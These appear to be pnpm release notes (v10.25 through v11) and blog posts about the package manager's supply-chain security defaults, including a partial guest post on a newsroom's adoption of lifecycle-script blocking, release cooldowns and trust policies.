  • New SQLite-backed store index (store v11), with bundled manifests and hex digests for fewer syscalls and faster installs.

  • Native publish flow. pnpm publish, login, logout, view, deprecate, unpublish, dist-tag, and version no longer delegate to the npm CLI.

  • .npmrc is auth/registry only. Other settings must live in pnpm-workspace.yaml or the new global config.yaml. Environment variables use the pnpm_config_* prefix.

Breaking changes

Requirements
  • Drops Node.js 18, 19, 20, and 21.

  • pnpm is now distributed as pure ESM.

  • The standalone exe requires glibc 2.27+.

Security & build defaults

Several defaults have flipped to safer values:

SettingNew defaultminimumReleaseAge``1440 (1 day)minimumReleaseAgeStrict``false``blockExoticSubdeps``true``strictDepBuilds``true``optimisticRepeatInstall``true``verifyDepsBeforeRun``install

Newly published packages won't be resolved until they're at least 1 day old. To opt out, set minimumReleaseAge: 0 in pnpm-workspace.yaml.

allowBuilds replaces the old build settings

onlyBuiltDependencies, onlyBuiltDependenciesFile, neverBuiltDependencies, ignoredBuiltDependencies, and ignoreDepScripts have all been removed. Use allowBuilds instead — a map from package name patterns to booleans:

Before:

onlyBuiltDependencies:
  - electron
onlyBuiltDependenciesFile: "allowed-builds.json"
neverBuiltDependencies:
  - core-js
ignoredBuiltDependencies:
  - esbuild

After:

allowBuilds:
  electron: true
  core-js: false
  esbuild: false

Also removed: allowNonAppliedPatches (use allowUnusedPatches) and ignorePatchFailures (patch failures now throw).

.npmrc is auth/registry only

pnpm no longer reads non-auth settings from .npmrc. Configuration is split into two categories:

  • Registry and auth settings — INI files (.npmrc, the global rc file, ~/.config/pnpm/auth.ini).

  • pnpm-specific settings — YAML files (pnpm-workspace.yaml, the new global ~/.config/pnpm/config.yaml).

Other related changes:

pnpm no longer reads npm_config_* environment variables. Use pnpm_config_* instead (e.g. pnpm_config_registry).

pnpm no longer reads the pnpm field in package.json.

pnpm no longer reads npm's global config at $PREFIX/etc/npmrc.

Network settings (httpProxy, httpsProxy, noProxy, localAddress, strictSsl, gitShallowHosts) are now written to config.yaml / pnpm-workspace.yaml (still readable from .npmrc to ease migration).

A new registries setting in pnpm-workspace.yaml replaces @scope:registry= lines:

registries:
  default: https://registry.npmjs.org/
  "@my-org": https://private.example.com/
  "@internal": https://nexus.corp.com/

Per-project .npmrc is replaced by packageConfigs in pnpm-workspace.yaml:

packages:
  - "packages/project-1"
  - "packages/project-2"
packageConfigs:
  "project-1":
    saveExact: true
  "project-2":
    savePrefix: "~"
Native publish flow, no more npm CLI fallback

Commands previously implemented by passing through to the npm CLI have either been reimplemented natively or removed.

Reimplemented: publish, view (info, show, v), login (adduser), logout, deprecate, unpublish, dist-tag, version, search, star/unstar/stars, whoami, ping, docs/home.

Removed (now throw "not implemented"): access, bugs, edit, issues, owner, prefix, profile, pkg, repo, set-script, team, token, xmas.

A few notes on the new native pnpm publish:

  • The OTP environment variable is now PNPM_CONFIG_OTP (was NPM_CONFIG_OTP).

  • If the registry asks for OTP and none is provided, pnpm prompts for it interactively.

  • Web-based authentication shows a scannable QR code and URL.

pnpm audit uses the bulk advisories endpoint

The legacy /-/npm/v1/security/audits{,/quick} endpoints have been retired by the registry. pnpm audit now calls /-/npm/v1/security/advisories/bulk, which doesn't return CVE identifiers — so CVE-based filtering has been replaced with GHSA-based filtering:

  • auditConfig.ignoreCvesauditConfig.ignoreGhsas

  • pnpm audit --ignore and --ignore-unfixable read and write GHSAs

To migrate, replace each CVE-YYYY-NNNNN entry under ignoreCves with the matching GHSA-xxxx-xxxx-xxxx (visible in the More info column of pnpm audit) and move it to ignoreGhsas.

Isolated, global-virtual-store global installs

pnpm add -g and pnx now use the global virtual store, and each install gets its own isolated directory at {pnpmHomeDir}/global/v11/{hash}/ with its own package.json, node_modules/, and lockfile. This stops global packages from interfering with each other through peer-dependency conflicts, hoisting changes, or version drift.

  • pnpm remove -g removes the entire installation group containing the package.

  • pnpm update -g [pkg] re-installs into a new isolated directory.

  • pnpm list -g scans isolated directories.

  • pnpm install -g (no args) is no longer supported — use pnpm add -g .

Globally installed binaries now live in a bin subdirectory of PNPM_HOME (rather than directly in PNPM_HOME), so internal directories like global/ and store/ don't pollute shell autocompletion. Run pnpm setup after upgrading to update your shell configuration.

pnpm link has been tightened too: only relative or absolute paths are accepted, --global is removed (use pnpm add -g .), and pnpm link with no arguments is removed.

Other removals

pnpm server.

useNodeVersion and executionEnv.nodeVersion — use devEngines.runtime / engines.runtime.

hooks.fetchers — replaced by the new fetchers field in pnpmfile.

managePackageManagerVersions, packageManagerStrict, and packageManagerStrictVersion. These all derived the onFail behavior of the legacy packageManager field; the new pmOnFail setting subsumes them:

RemovedReplace withmanagePackageManagerVersions: true``pmOnFail: download (default)managePackageManagerVersions: false``pmOnFail: ignore``packageManagerStrict: false``pmOnFail: warn``packageManagerStrictVersion: true``pmOnFail: error``COREPACK_ENABLE_STRICT=0``pmOnFail: warn

New commands

CommandWhat it doespnpm ciRuns pnpm clean followed by pnpm install --frozen-lockfile. Aliases: clean-install, ic, install-clean.pnpm cleanRemoves node_modules from all workspace projects. --lockfile also removes pnpm-lock.yaml.pnpm sbomGenerates a Software Bill of Materials in CycloneDX 1.7 or SPDX 2.3 JSON.pnpm peers checkReports unmet/missing peers from the lockfile.pnpm runtime setInstalls a runtime; deprecates pnpm env use.pnpm docs / homeOpens the package homepage.pnpm pingPings the registry.pnpm withRuns pnpm at a specific (or current) version for a single invocation, bypassing packageManager pins.pnpm pack-appPacks a CommonJS entry into a standalone executable for one or more target platforms via Node.js SEA.

Plus the natively reimplemented commands listed under "Native publish flow" above, and short aliases pn for pnpm and pnx for pnpx/pnpm dlx.

pnpm audit --fix=update

Fix vulnerabilities by updating packages in the lockfile instead of adding overrides. For more granular control, the new --interactive / -i flag lets you select which advisories to fix:

pnpm audit --fix=update --interactive

pnpm audit --fix also adds the minimum patched version for each advisory to minimumReleaseAgeExclude in pnpm-workspace.yaml, so security fixes can be installed without waiting for minimumReleaseAge.

ESM pnpmfiles

Pnpmfiles can now be written in ESM, using the .mjs extension. When .pnpmfile.mjs exists, it takes priority over .pnpmfile.cjs, and only one is loaded.

Store v11

The store has been rebuilt around two ideas: read less, do fewer syscalls.

  • The package index is now a single SQLite database at $STORE/index.db (with MessagePack values, WAL mode for concurrent access), instead of millions of JSON files under $STORE/index/. Packages missing from the new index are re-fetched on demand.

  • The bundled manifest (name, version, bin, engines, scripts, etc.) is stored directly in the package index, eliminating the need to read package.json from the CAS during resolution and installation.

  • Index entries store hex digests instead of full integrity strings (-), and the hash algorithm is recorded once per file instead of per entry. This avoids base64 → hex conversion on every CAS path lookup.

  • When the global virtual store is enabled, packages that aren't allowed to build (and don't transitively depend on packages that are) get hashes that don't include the engine name (platform, arch, Node.js major). ~95% of GVS packages now survive Node.js upgrades and architecture changes without re-import.

Performance

A lot of small wins add up to a noticeably faster install:

  • undici replaces node-fetch for all HTTP, with Happy Eyeballs (dual-stack), better keep-alive, and an optimized global dispatcher.

  • Tarball downloads with known size pre-allocate memory to avoid double-copy overhead.

  • The metadata cache is now NDJSON, with If-Modified-Since for conditional fetches.

  • minimumReleaseAge checks use the abbreviated metadata endpoint to fetch less.

  • CAS files are written directly to their content-addressed path instead of via a temp file + rename — saving ~30k rename syscalls per cold install.

  • The staging directory is gone when importing into node_modules.

  • Hot-path string operations in the CAS were tightened, and gunzipSync runs with a larger chunk size for fewer buffer allocations during tarball decompression.

  • During GVS warm reinstalls, redundant internal linking is skipped when no packages were added.

Slimmer runtime installs

Installing a Node.js runtime via node@runtime: (including pnpm env use and pnpm runtime set node) no longer extracts the bundled npm, npx, and corepack from the Node.js archive. That cuts roughly half of the files pnpm has to hash, write to the CAS, and link. If you still need npm, install it as a separate package.

Other notable changes

Cleaner script output. pnpm now prints $ command (to stderr, so stdout stays pipe-friendly) instead of > pkg@version stage path\n> command. Project name and path are shown only when running in a different directory.

Peer dependency issues are no longer rendered as a tree during install — pnpm suggests running pnpm peers check to view them.

Lifecycle scripts no longer get npm_config_* env vars from the pnpm config; only well-known npm_* env vars are set, matching Yarn.

pnpm init writes devEngines.packageManager instead of packageManager when init-package-manager is enabled, and the default type is now "module".

devEngines.packageManager now supports version ranges; the resolved version is stored in pnpm-lock.yaml and reused if it still satisfies the range.

dedupePeers is a new setting that uses version-only suffixes (name@version) instead of full dep paths, eliminating nested suffixes like (foo@1.0.0(bar@2.0.0)) for projects with many recursive peers.

pnpm approve-builds now accepts positional arguments for non-interactive use; prefix a name with ! to deny it.

Hidden scripts — scripts starting with . can only be called from other scripts and don't show up in pnpm run.

-F is a new short alias for --filter.

pnpm add short flags-d is now --save-dev, -p is --save-prod, -o is --save-optional, -e is --save-exact (only inside pnpm add).

virtualStoreOnly populates the virtual store without creating importer symlinks, hoisting, bin links, or running lifecycle scripts. Useful for pre-populating a store in Nix builds. pnpm fetch now uses this internally.

nodeDownloadMirrors in pnpm-workspace.yaml replaces the node-mirror: .npmrc setting:

nodeDownloadMirrors:
  release: https://my-mirror.example.com/download/release/

Config dependencies are now installed into {storeDir}/links/ and symlinked into node_modules/.pnpm-config/, so they're shared across projects using the same store. Resolved versions and integrity hashes have moved from pnpm-workspace.yaml to a separate document in pnpm-lock.yaml; old inline-hash projects are migrated automatically.

Upgrading

See the full Migrating from v10 to v11 guide for the codemod and manual follow-ups. The short version:

  • Bump your CI and dev environments to Node.js 22+ before upgrading.

  • Move pnpm settings out of .npmrc into pnpm-workspace.yaml (or the global ~/.config/pnpm/config.yaml).

  • Migrate onlyBuiltDependencies and friends to allowBuilds.

  • Migrate auditConfig.ignoreCves to auditConfig.ignoreGhsas.

  • After installing v11, run pnpm setup to update your shell so the new bin subdirectory is on PATH.

The full list of changes is in the changelog. If something you relied on is missing or broken, please open an issue at github.com/pnpm/pnpm/issues.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.32

pnpm 10.32 adds an --all flag to pnpm approve-builds for approving all pending builds without interactive prompts.

Minor Changes
--all Flag for pnpm approve-builds

Added --all flag to pnpm approve-builds that approves all pending builds without interactive prompts #10136.

pnpm approve-builds --all
Patch Changes
  • Reverted change related to setting explicitly the npm config file path, which caused regressions.

  • Reverted fix related to lockfile-include-tarball-url. Fixes #10915.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.31

pnpm 10.31 preserves comments and formatting when updating pnpm-workspace.yaml, and includes numerous bug fixes.

Minor Changes
Preserving Comments in pnpm-workspace.yaml

When pnpm updates the pnpm-workspace.yaml, comments, string formatting, and whitespace will be preserved.

Patch Changes
  • Added -F as a short alias for the --filter option in the help output.

  • Handle undefined pkgSnapshot in pnpm why -r #10700.

  • Fix headless install not being used when a project has an injected self-referencing file: dependency that resolves to link: in the lockfile.

  • Fixed a race condition when multiple worker threads import the same package to the global virtual store concurrently. The rename operation now tolerates ENOTEMPTY/EEXIST errors if another thread already completed the import.

  • When lockfile-include-tarball-url is set to false, tarball URLs are now always excluded from the lockfile. Previously, tarball URLs could still appear for packages hosted under non-standard URLs #6667.

  • Fixed optimisticRepeatInstall skipping install when overrides, packageExtensions, ignoredOptionalDependencies, patchedDependencies, or peersSuffixMaxLength changed.

  • Fixed pnpm patch-commit failing with "unable to access '/.config/git/attributes': Permission denied" error in environments where HOME is unset or non-standard (Docker containers, CI systems) #6537.

  • Fix pnpm why -r --parseable missing dependents when multiple workspace packages share the same dependency #8100.

  • Fix link-workspace-packages=true incorrectly linking workspace packages when the requested version doesn't match the workspace package's version #10173.

  • Fixed pnpm update --interactive table breaking with long version strings by dynamically calculating column widths instead of using hardcoded values #10316.

  • The parameter set by the --allow-build flag is written to allowBuilds.

  • Fix a bug in which specifying filter on pnpm-workspace.yaml would cause pnpm to not detect any projects.

  • Print help message on running pnpm dlx without arguments and exit.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.30

pnpm 10.30 redesigns pnpm why to show a reverse dependency tree, making it much easier to understand why a package is installed.

Minor Changes
Reverse Dependency Tree in pnpm why

pnpm why now shows a reverse dependency tree. The searched package appears at the root with its dependents as branches, walking back to workspace roots. This replaces the previous forward-tree output which was noisy and hard to read for deeply nested dependencies.

Patch Changes
  • Optimize pnpm why and pnpm list performance in workspaces with many importers by sharing the dependency graph and materialization cache across all importers instead of rebuilding them independently for each one #10596.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.29

pnpm 10.29 adds catalog: protocol support to pnpm dlx, allows configuring auditLevel in pnpm-workspace.yaml, supports a bare workspace: specifier, and includes several bug fixes.

Minor Changes
catalog: Protocol in pnpm dlx

The pnpm dlx / pnpx command now supports the catalog: protocol, allowing you to reference versions defined in your workspace catalogs:

pnpm dlx shx@catalog:
auditLevel Setting

auditLevel can now be configured in the pnpm-workspace.yaml file, so you don't need to pass --audit-level on every pnpm audit invocation #10540:

pnpm-workspace.yaml

auditLevel: high
Bare workspace: Protocol

A bare workspace: specifier without a version range is now supported. It is treated as workspace:* and resolves to the concrete version during publish #10436:

{
  "dependencies": {
    "foo": "workspace:"
  }
}
Patch Changes
  • Fixed an out-of-memory error in pnpm list (and pnpm why) on large dependency graphs by replacing the recursive tree builder with a two-phase approach: a BFS dependency graph followed by cached tree materialization. Duplicate subtrees are now deduplicated in the output #10586.

  • Fixed allowBuilds not working when set via .pnpmfile.cjs #10516.

  • When enableGlobalVirtualStore is set, pnpm deploy now ignores it and always creates a localized virtual store within the deploy directory to keep it self-contained.

  • Fixed minimumReleaseAgeExclude not being respected by pnpm dlx #10338.

  • Fixed pnpm list --json returning incorrect paths when using global virtual store #10187.

  • Fixed pnpm store path and pnpm store status using workspace root for path resolution when storeDir is relative #10290.

  • Fixed catalogMode: strict writing the literal string catalog: to pnpm-workspace.yaml instead of the resolved version specifier when re-adding an existing catalog dependency #10176.

  • Skip local file: protocol dependencies during pnpm fetch, fixing Docker builds when local directory dependencies are not available #10460.

  • Fixed pnpm audit --json to respect the --audit-level setting for both exit code and output filtering #10540.

  • Updated tar to version 7.5.7 to fix a security vulnerability (CVE-2026-24842).

  • Fixed pnpm audit --fix replacing reference overrides (e.g. $foo) with concrete versions #10325.

  • Fixed shamefullyHoist set via updateConfig in .pnpmfile.cjs not being converted to publicHoistPattern #10271.

  • pnpm help now correctly reports if the currently running pnpm CLI is bundled with Node.js #10561.

  • Added a warning when the current directory contains the PATH delimiter character, which can break node_modules/.bin path injection #10457.

  • Fixed the documentation URL shown in pnpm completion --help to point to the correct page #10281.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.28

pnpm 10.28 introduces a new beforePacking hook to customize package.json at publish time, improves filtered install performance, and includes several bug fixes.

Minor Changes
beforePacking Hook

Added support for a new hook called beforePacking that allows you to customize the package.json contents at publish time #3816.

This hook is called just before creating the tarball when running pnpm pack or pnpm publish. It gives you the opportunity to modify the package manifest that will be included in the published package without affecting your local package.json file.

Example usage in .pnpmfile.cjs:

module.exports = {
  hooks: {
    beforePacking(pkg) {
      // Remove development-only fields
      delete pkg.devDependencies
      delete pkg.scripts
      // Add publication metadata
      pkg.publishedAt = new Date().toISOString()
      return pkg
    }
  }
}

See the .pnpmfile.cjs documentation for more details.

Filtered Install Performance

In some cases, a filtered install (i.e. pnpm install --filter ...) was slower than running pnpm install without any filter arguments. This performance regression is now fixed. Filtered installs should be as fast or faster than a full install #10408.

Patch Changes
  • Do not add a symlink to the project into the store's project registry if the store is in a subdirectory of the project #10411.

  • It should be possible to declare the requiredScripts setting in pnpm-workspace.yaml #10261.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.27

pnpm 10.27 adds a new setting to ignore trust policy checks for older package versions, introduces a project registry for global virtual store pruning, and includes several bug fixes.

Minor Changes
trustPolicyIgnoreAfter

Adding trustPolicyIgnoreAfter allows you to ignore trust policy checks for packages published more than a specified time ago #10352.

Global Virtual Store Improvements

Added project registry for global virtual store prune support.

Projects using the store are now registered via symlinks in {storeDir}/v10/projects/. This enables pnpm store prune to track which packages are still in use by active projects and safely remove unused packages from the global virtual store.

Semi-breaking. Changed the location of unscoped packages in the virtual global store. They will now be stored under a directory named @ to maintain a uniform 4-level directory depth.

Added mark-and-sweep garbage collection for global virtual store.

pnpm store prune now removes unused packages from the global virtual store's links/ directory. The algorithm:

  • Scans all registered projects for symlinks pointing to the store

  • Walks transitive dependencies to mark reachable packages

  • Removes any package directories not marked as reachable

This includes support for workspace monorepos - all node_modules directories within a project (including those in workspace packages) are scanned.

Patch Changes
  • Throw an error if the value of the tokenHelper or :tokenHelper setting contains an environment variable.

  • Git dependencies with build scripts should respect the dangerouslyAllowAllBuilds settings #10376.

  • Skip the package manager check when running with --global and a project packageManager is configured, and warn that the check is skipped.

  • pnpm store prune should not fail if the dlx cache directory has files, not only directories #10384

  • Fixed a bug (#9759) where pnpm add would incorrectly modify a catalog entry in pnpm-workspace.yaml to its exact version.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

2025 has been a transformative year for pnpm. While our primary focus was redefining the security model of package management, we also delivered significant improvements in performance and developer experience.

From blocking lifecycle scripts by default to introducing a global virtual store, here is a look back at the major features shipped in 2025.

Usage

According to download stats pnpm was downloaded 2 times more than in 2024!

Redesign of the Homepage

You may have noticed that we have redesigned our homepage! This redesign was made possible by our most prominent sponsor, Bit.cloud.

The new homepage is now built with Bit components and much of the work was done using Bit's AI agent: Hope AI. We even have our own design system now.

info

I work full time at Bit on dependency management. Under the hood Bit uses pnpm for installation.

Presentation at JSNation

This year was a huge milestone for me personally as I had my first ever live presentation at a big international conference: JSNation in June in Amsterdam. I would like to thank the JSNation team for this great opportunity!

I was pleasantly surprised how well known pnpm is in the community and how many people use it at their work!

My presentation was about config dependencies and you can see the recording here.

Feature Highlights

Now, let’s dive into the most significant changes shipped in pnpm v10 throughout 2025.

Security by Default

The most significant shift this year was pnpm's move to "Security by Default." In pnpm v10.0, we stopped implicitly trusting installed packages.

Blocking Lifecycle Scripts (v10.0)

For years, pnpm install meant trusting the entire dependency tree to execute arbitrary code. In v10, we turned this off. pnpm no longer runs preinstall or postinstall scripts by default, eliminating a massive class of supply chain attack vectors.

To refine this control, we introduced allowBuilds in v10.26, replacing the earlier onlyBuiltDependencies with a more flexible configuration:

allowBuilds:
  esbuild: true
  # Only allow specific versions
  nx@21.6.4: true
Defense in Depth (v10.16 & v10.21)

We didn't stop at scripts. We added layers of defense to catch malicious packages before they even reach your disk:

  • minimumReleaseAge: Blocks "zero-day" releases (e.g., packages younger than 24 hours), giving the community time to flag malicious updates.

  • trustPolicy: no-downgrade: Prevents installing updates that have weaker provenance than previous versions (e.g., a version published without CI/CD verification).

  • blockExoticSubdeps: Prevents trusted dependencies from pulling in transitive dependencies from untrusted sources.

Global Virtual Store (v10.12)

One of pnpm's original innovations was the content-addressable store, which saved disk space by deduplicating files. In v10.12, we took this a step further with the Global Virtual Store.

Previously, projects had their own node_modules structure. With enableGlobalVirtualStore: true, pnpm can now link dependencies from a central location on disk directly into your project. This means:

  • Massive Disk Savings: Identical dependency graphs are shared across projects.

  • Faster Installs: If you have 10 projects using react@19, pnpm only needs to link it once globally.

Native JSR Support (v10.9)

We embraced the new JSR registry with native support. You can now install packages directly from JSR using the jsr: protocol:

pnpm add jsr:@std/collections

This maps correctly in package.json and handles the unique resolution rules of JSR packages seamlessly alongside your npm dependencies.

Config Dependencies (v10.0)

For monorepos and complex setups, we introduced Config Dependencies. This feature allows you to share and centralize pnpm configuration—like hooks, patches, and build permissions—across multiple projects.

Config dependencies are installed into node_modules/.pnpm-config before the main dependency graph is resolved. This means you can use them to:

  • Share .pnpmfile.cjs hooks across repositories.

  • Centralize patch files for patchedDependencies.

  • Maintain a shared list of packages that are allowed to execute build scripts for allowBuilds.

pnpm-workspace.yaml

configDependencies:
  pnpm-plugin-my-company: "1.0.0+sha512-..."

This ensures your pnpm configuration is versioned, consistent, and available exactly when the package manager needs it.

Automatic JavaScript Runtime Management (v10.14 & v10.21)

We have supported Node.js runtime management for a while now. In 2025, we extended this to support other runtimes like Deno and Bun.

You can now specify the required runtime in package.json via devEngines.runtime:

package.json

{
  "devEngines": {
    "runtime": {
      "name": "node",
      "version": "24.6.0"
    }
  }
}

pnpm will automatically download and use that specific version of the runtime for running scripts in that project. This makes "Works on my machine" a thing of the past—everyone on the team uses the exact same runtime, managed entirely by pnpm.

Looking Ahead

We have already started working on pnpm v11.0, which has some noticeable performance improvements. The global virtual store will not yet be enabled by default. We will work on bug fixes and missing features to potentially enable it by default in a future major release.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.26

pnpm 10.26 introduces stricter security defaults for git-hosted dependencies, adds allowBuilds for granular script permissions, and includes a new setting to block exotic transitive dependencies.

Minor Changes
Stricter Git Dependency Security

Semi-breaking. Git-hosted dependencies are now blocked from running prepare scripts during installation unless they are explicitly allowed in onlyBuiltDependencies (or allowBuilds) #10288. This change prevents malicious code execution from untrusted git repositories.

allowBuilds

Added a new setting allowBuilds which provides a flexible way to manage build scripts. It accepts a map of package matchers to explicitly allow (true) or disallow (false) script execution. This replaces onlyBuiltDependencies and ignoredBuiltDependencies as the preferred configuration method #10311.

Example:

allowBuilds:
  esbuild: true
  core-js: false
  nx@21.6.4 || 21.6.5: true
blockExoticSubdeps

Added a new setting blockExoticSubdeps to improve supply chain security. When set to true, it prevents the resolution of exotic protocols (like git+ssh: or direct https: tarballs) in transitive dependencies. Only direct dependencies are allowed to use exotic sources #10265.

Integrity Hash for HTTP Tarballs

Semi-breaking. pnpm now computes the integrity hash for HTTP tarball dependencies when fetching them and stores it in the lockfile. This ensures that servers cannot serve altered content on subsequent installs without detection #10287.

pnpm pack --dry-run

Added support for --dry-run to the pack command. This allows you to verify which files would be included in the tarball without actually creating it #10301.

Patch Changes
  • Show deprecation in table/list formats when latest version is deprecated #8658.

  • Remove the injectWorkspacePackages setting from the lockfile on the deploy command #10294.

  • Normalize the tarball URLs before saving them to the lockfile #10273.

  • Fix URL normalization for redirected immutable dependencies #10197.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.25

pnpm 10.25 improves certificate handling, adds a bare pnpm init, and ships several quality-of-life fixes.

Minor Changes
Per-registry certificates

You can now load inline certificates from the cert, ca, and key settings for specific registry URLs (for example, //registry.example.com/:ca=-----BEGIN CERTIFICATE-----...). Previously, pnpm only respected the certfile, cafile, and keyfile entries. This aligns pnpm with npm's .npmrc behavior #10230.

pnpm init --bare

Added a --bare flag to pnpm init for creating a package.json with only the required fields #10226.

Patch Changes
  • Improved reporting of ignored dependency scripts #10276.

  • pnpm install now builds any dependencies that were added to onlyBuiltDependencies but have not run their builds yet #10256.

  • pnpm publish -r --force will publish even if the version already exists in the registry, matching the intent of the flag #10272.

  • Avoid ERR_PNPM_MISSING_TIME errors when a package excluded from trust policy checks lacks the time field in its metadata.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

We got lucky with Shai-Hulud 2.0.

In November 2025, a self-replicating npm worm compromised 796 packages with 132 million monthly downloads. The attack used preinstall scripts to steal credentials, install persistent backdoors, and in some cases wipe entire developer environments. We weren't affected—not because we had robust defenses, but because we didn't run npm install or npm update during the attack window.

Luck isn't a security strategy.

Who We Are

I'm Ryan Sobol, Principal Software Engineer at the Seattle Times. We've been using npm as our default package manager for years, with some brief experimentation with Yarn that never gained traction. Now we're piloting pnpm specifically for its client-side security controls that complement the registry-level improvements npm has been rolling out.

Trust is paramount for news organizations, especially these days. A supply chain compromise could expose customer data, employee credentials, production infrastructure, and source code—all things that could take weeks to recover from and potentially require breach notifications to our readers. We understand how expensive these incidents can be in both time and money. That's a path we don't want to go down.

Despite the organizational inertia that comes with sticking to npm, we think pnpm has a real chance here. It's a true drop-in replacement—same commands, same workflows, same registry. That makes the transition achievable in a way previous alternatives weren't.

This isn't a polished case study. It's a real-world data point from a team that's just starting to figure out supply chain security. The challenges we're encountering and how we're thinking about these controls might be useful as you consider implementing them yourself.

Why Client-Side Controls Matter

npm has made tremendous progress on supply chain security. Trusted publishing, provenance attestations, and granular access tokens are all significant improvements that make it substantially harder to publish malicious packages after compromising maintainer accounts.

But here's the gap: these registry improvements protect the publishing side. They don't prevent consuming malicious packages.

When you run npm install or npm update, lifecycle scripts (e.g., preinstall and postinstall) execute arbitrary code from the internet with full developer privileges—before the package has been evaluated for safety. These scripts can access your credentials (npm, GitHub, AWS, databases), your source code, your cloud infrastructure, and your entire filesystem.

This is the fundamental vulnerability that attacks like Shai-Hulud exploit. Even with these registry improvements, if a legitimate maintainer's account is compromised, attackers can publish a version with malicious lifecycle scripts that execute immediately upon installation—before the community detects the compromise.

That's why we felt we needed defense on both sides: npm's improvements make it harder to publish malicious packages; pnpm's client-side controls make it harder to consume them. These approaches are complementary, not competitive. pnpm uses npm's registry and benefits from all of npm's security improvements while adding an additional layer of protection on the client side.

This is defense-in-depth.

The Three Layers We're Using

For our pilot, we're using three pnpm security controls that work together. Each control addresses a different attack vector, and each has escape hatches for legitimate exceptions. We knew going in that we'd need those exceptions—the real world is messy.

Control 1: Lifecycle Script Management

One of the main reasons we considered pnpm was learning that it blocks lifecycle scripts by default. Unlike other package managers, it doesn't implicitly trust and execute arbitrary code from packages.

In practice, when a package has preinstall or postinstall scripts, pnpm blocks them but installation continues with a warning. This already provides significant protection—malicious scripts won't execute without you explicitly allowing them. However, we were concerned that warnings would be too easy to ignore, especially since installation appears to succeed. We wanted stricter control with strictDepBuilds: true:

pnpm-workspace.yaml

strictDepBuilds: true

onlyBuiltDependencies:
  - package-with-necessary-build-scripts

ignoredBuiltDependencies:
  - package-with-unnecessary-build-scripts

By "necessary," we mean packages that genuinely need their lifecycle scripts to function—things like native extensions that compile from source or database drivers that link against platform-specific libraries. By "unnecessary," we mean scripts that are optional optimizations or setup steps that don't affect whether the package functions in our use case.

With strictDepBuilds: true, installation fails immediately when it encounters lifecycle scripts, forcing us to:

  • Identify which packages have lifecycle scripts—pnpm tells you exactly which ones

  • Research what each script does, which can be as easy as feeding the self-contained preinstall or postinstall script into a generative AI for interpretation

  • Use human judgment to make a conscious, documented decision about whether to allow or block it

For our team, this ensures we're making deliberate choices upfront rather than potentially discovering issues later.

Note: The pnpm team is considering making strictDepBuilds: true the default behavior in v11, and is also exploring clearer naming for the allow/deny syntax based on feedback from teams implementing these controls in practice.

Control 2: Release Cooldown

This control blocks installation of package versions published within a cooldown period. The idea is to give the community time to detect and remove malicious packages before they reach your environment.

pnpm-workspace.yaml

minimumReleaseAge: -in-minutes>

minimumReleaseAgeExclude:
  - package-with-critical-hotfix@1.2.3

Our mindset shift: We had to retrain ourselves to stop thinking "newest is best." What we're learning is that from a supply chain security perspective, that's not always the case—slightly older can often be safer. A package that's been available for a period of time gives the community and security researchers time to detect potential issues.

Looking at recent attacks, malicious packages have been detected and removed in varying timeframes. The September 2025 npm supply chain attack that compromised debug, chalk, and 16 other packages saw removal within about 2.5 hours, while Shai-Hulud 2.0 (November 2025) took about 12 hours. Every attack is different and every recovery timeline will vary, but the appropriate cooldown period depends on your organization's risk tolerance—it could be measured in hours, days, or weeks. Either way, a cooldown period would have blocked these attacks.

The trade-off we accepted: Given the scale of our organization and our priorities, we're not always on the absolute latest versions of packages—despite best efforts. So this cooldown policy aligns more with our reality than it disrupts it. When we genuinely need a newer version (critical security patches, breaking bugs), we can temporarily exempt it after review.

Control 3: Trust Policy

This control blocks installation when a package version has weaker authentication than previously published versions—often a sign that an attacker compromised maintainer credentials and published from their own machine instead of the official CI/CD pipeline.

pnpm-workspace.yaml

trustPolicy: no-downgrade

trustPolicyExclude:
  - package-that-migrated-cicd@1.2.3

How it works: npm tracks three trust levels for published packages (strongest to weakest):

  • Trusted Publisher: Published via GitHub Actions with OIDC tokens and npm provenance

  • Provenance: Signed attestation from a CI/CD system

  • No Trust Evidence: Published with username/password or token authentication

If a newer version has weaker authentication than an older version, installation fails. For example, if v1.0.0 was published with Trusted Publisher but v1.0.1 was published with basic auth, pnpm blocks v1.0.1.

In the s1ngularity attack in August 2025, attackers compromised maintainer credentials and published malicious versions from their own machines. Because they didn't have CI/CD access, the malicious versions had no provenance—a clear trust downgrade. This control would have blocked installation.

When trust downgrades might be legitimate: New maintainer who hasn't set up provenance yet, CI/CD system migration, emergency hotfix published manually while CI/CD was down. In these cases, we'd investigate why the trust level decreased, verify it's safe, then add to trustPolicyExclude.

Note: This feature was added to pnpm in November 2025 and is quite new. We're still learning how often legitimate trust downgrades occur in practice.

How They Work Together: The React Example

We don't see any of these controls as a silver bullet. They work as layers of defense—when we need to make an exception for one control, the other layers continue protecting us.

Let's look at a real scenario: the critical React vulnerability disclosed in December 2025.

This was a serious security issue that required immediate patching. Normally, our release cooldown would prevent us from installing a package version published so recently. But this was a critical security patch—we couldn't wait.

Here's how the layered defense would work in this scenario:

